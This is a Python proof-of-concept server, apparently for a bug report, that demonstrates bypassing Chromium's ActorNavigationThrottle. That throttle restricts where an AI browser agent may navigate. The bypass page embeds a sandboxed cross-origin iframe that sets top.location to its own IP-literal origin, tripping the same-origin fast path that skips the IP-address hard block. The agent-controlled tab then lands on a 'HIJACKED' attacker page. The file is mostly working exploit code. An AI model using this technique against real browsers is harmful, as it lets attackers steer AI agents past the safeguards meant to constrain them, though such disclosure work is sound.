#!/usr/bin/env python3
"""POC server for ActorNavigationThrottle same-origin fast-path bypass.

Runs two HTTP servers:
  * http://127.0.0.1:8000/       — the "allowed" origin (localhost passes
                                   site_policy.cc's IsLocalhost fast-allow)
  * http://<NON_LOOPBACK_IP>:8001/ — the "attacker" origin. This is an IP
                                   literal that is NOT loopback, so
                                   MayActOnUrl()'s HostIsIPAddress check
                                   would normally HARD-BLOCK any top-frame
                                   navigation to it from an Actor-controlled
                                   tab.

Pages served:

  /control.html  (allowed origin)
      Navigates *itself* to http://<ip>:8001/hijack — initiator=localhost,
      dest=attacker-ip → throttle DEFERs → MayActOnUrl blocks (kIpAddress).
      This is the control case showing the throttle works when the
      same-origin fast-path is NOT taken.

  /bypass.html   (allowed origin)
      Embeds <iframe src="http://<ip>:8001/frame.html">. Subframe loads
      ungated (the throttle skips !IsInPrimaryMainFrame). The subframe then
      sets top.location = http://<ip>:8001/hijack. The browser-side
      NavigationHandle for the resulting top-frame nav has
      initiator_origin = http://<ip>:8001 (the subframe), so the throttle's
      same-origin fast-path fires and returns PROCEED — MayActOnUrl never
      runs.

  /frame.html, /hijack  (attacker origin)
      The cross-origin subframe and its hijack landing page.

Usage:
    python3 server.py [ATTACKER_IP]

If ATTACKER_IP is omitted, the script auto-detects a non-loopback local IPv4.
"""
import http.server
import socket
import socketserver
import sys
import threading

ALLOWED_HOST = "127.0.0.1"
ALLOWED_PORT = 8000
ATTACKER_PORT = 8001


def detect_non_loopback_ip() -> str:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
    finally:
        s.close()
    if ip.startswith("127."):
        raise RuntimeError(
            "Auto-detected IP is loopback; pass a non-loopback IP as argv[1]."
        )
    return ip


ATTACKER_IP = sys.argv[1] if len(sys.argv) > 1 else detect_non_loopback_ip()
ATTACKER_ORIGIN = f"http://{ATTACKER_IP}:{ATTACKER_PORT}"

print(f"[server] allowed  origin: http://{ALLOWED_HOST}:{ALLOWED_PORT}")
print(f"[server] attacker origin: {ATTACKER_ORIGIN}  (IP literal, non-loopback)")

CONTROL_HTML = f"""<!doctype html>
<title>control</title>
<h1>CONTROL: allowed-origin self-nav to IP literal</h1>
<script>
  // Initiator = http://127.0.0.1:8000 (this page), dest = attacker IP.
  // initiator != dest origin -> throttle DEFERs -> MayActOnUrl runs ->
  // HostIsIPAddress blocks. The tab should stay on this page.
  console.error('[PoC web] CONTROL: navigating self to {ATTACKER_ORIGIN}/hijack');
  setTimeout(() => location.href = '{ATTACKER_ORIGIN}/hijack', 200);
</script>
"""

BYPASS_HTML = f"""<!doctype html>
<title>bypass</title>
<h1>BYPASS: cross-origin subframe navigates top to its own origin</h1>
<script>
  console.error('[PoC web] BYPASS: embedding cross-origin iframe at {ATTACKER_ORIGIN}/frame.html');
</script>
<!--
  Subframe loads ungated: ActorNavigationThrottle::MaybeCreateAndAdd skips
  !IsInPrimaryMainFrame.

  The sandbox attribute is the embedder's choice (the attacker influences this
  page) and serves only to satisfy Blink's *renderer-side* framebusting
  intervention without needing user activation:
    - allow-same-origin   keeps the iframe's real origin (the IP literal),
                          so the browser-side NavigationHandle initiator_origin
                          is the IP, not an opaque origin.
    - allow-top-navigation per content/browser/renderer_host/
                          policy_container_host.h:172-177, an explicit
                          allow-top-navigation grant sets
                          can_navigate_top_without_user_gesture=true for the
                          child even when it is cross-origin with top.
    - allow-scripts       lets the subframe run JS.
  None of this touches ActorNavigationThrottle.
-->
<iframe id="atk" src="{ATTACKER_ORIGIN}/frame.html"
        sandbox="allow-scripts allow-same-origin allow-top-navigation"
        style="width:400px;height:200px"></iframe>
"""

FRAME_HTML = f"""<!doctype html>
<title>attacker frame</title>
<body>attacker frame at {ATTACKER_ORIGIN}</body>
<script>
  // We are a cross-origin subframe inside the Actor-controlled tab.
  // Navigate top to OUR OWN origin. The browser-side NavigationHandle for the
  // resulting top-frame navigation has initiator_origin = our origin
  // ({ATTACKER_ORIGIN}). The throttle's same-origin fast-path
  // (actor_navigation_throttle.cc, WillStartOrRedirectRequest) sees
  // initiator == dest and returns PROCEED, skipping MayActOnUrl entirely.
  console.error('[PoC web] attacker subframe: top.location = {ATTACKER_ORIGIN}/hijack');
  setTimeout(() => top.location = '{ATTACKER_ORIGIN}/hijack', 200);
</script>
"""

HIJACK_HTML = f"""<!doctype html>
<title>HIJACKED</title>
<body style="background:#f88;font-family:sans-serif">
<h1>HIJACKED</h1>
<p>Actor-controlled tab is now top-level on
   <code>{ATTACKER_ORIGIN}/hijack</code>.</p>
<p>MayActOnUrl()'s <code>HostIsIPAddress</code> hard block was BYPASSED via
   the initiator-same-origin fast-path in
   <code>ActorNavigationThrottle::WillStartOrRedirectRequest</code>.</p>
<script>
  console.error('[PoC web] *** HIJACK COMMITTED at top-level: ' + location.href + ' ***');
</script>
</body>
"""


# First page the browser opens. The Actor task is only auto-created once the
# tab already has a committed http(s) page (mirroring production: user browses
# first, then starts Glic). This page just bounces to the real test page so
# that all subsequent navigations are subject to the throttle.
def start_page(target):
    return f"""<!doctype html><title>start</title>
<script>
  console.error('[PoC web] start: bouncing to {target} '
                + '(next nav will have an Actor task attached)');
  location.href = '{target}';
</script>"""


class AllowedHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        routes = {
            "/start-control.html": start_page("/control.html"),
            "/start-bypass.html": start_page("/bypass.html"),
            "/control.html": CONTROL_HTML,
            "/bypass.html": BYPASS_HTML,
        }
        body = routes.get(self.path)
        if body is None:
            self.send_error(404)
            return
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.end_headers()
        self.wfile.write(body.encode())

    def log_message(self, fmt, *args):
        sys.stderr.write(f"[allowed ] {self.address_string()} {fmt % args}\n")


class AttackerHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        routes = {"/frame.html": FRAME_HTML, "/hijack": HIJACK_HTML}
        body = routes.get(self.path)
        if body is None:
            self.send_error(404)
            return
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.end_headers()
        self.wfile.write(body.encode())

    def log_message(self, fmt, *args):
        sys.stderr.write(f"[attacker] {self.address_string()} {fmt % args}\n")


class ReusableTCPServer(socketserver.TCPServer):
    allow_reuse_address = True


def serve(host, port, handler):
    httpd = ReusableTCPServer((host, port), handler)
    httpd.serve_forever()


threading.Thread(
    target=serve, args=(ALLOWED_HOST, ALLOWED_PORT, AllowedHandler), daemon=True
).start()
threading.Thread(
    target=serve, args=(ATTACKER_IP, ATTACKER_PORT, AttackerHandler), daemon=True
).start()

print("[server] ready. Ctrl-C to stop.")
try:
    threading.Event().wait()
except KeyboardInterrupt:
    pass
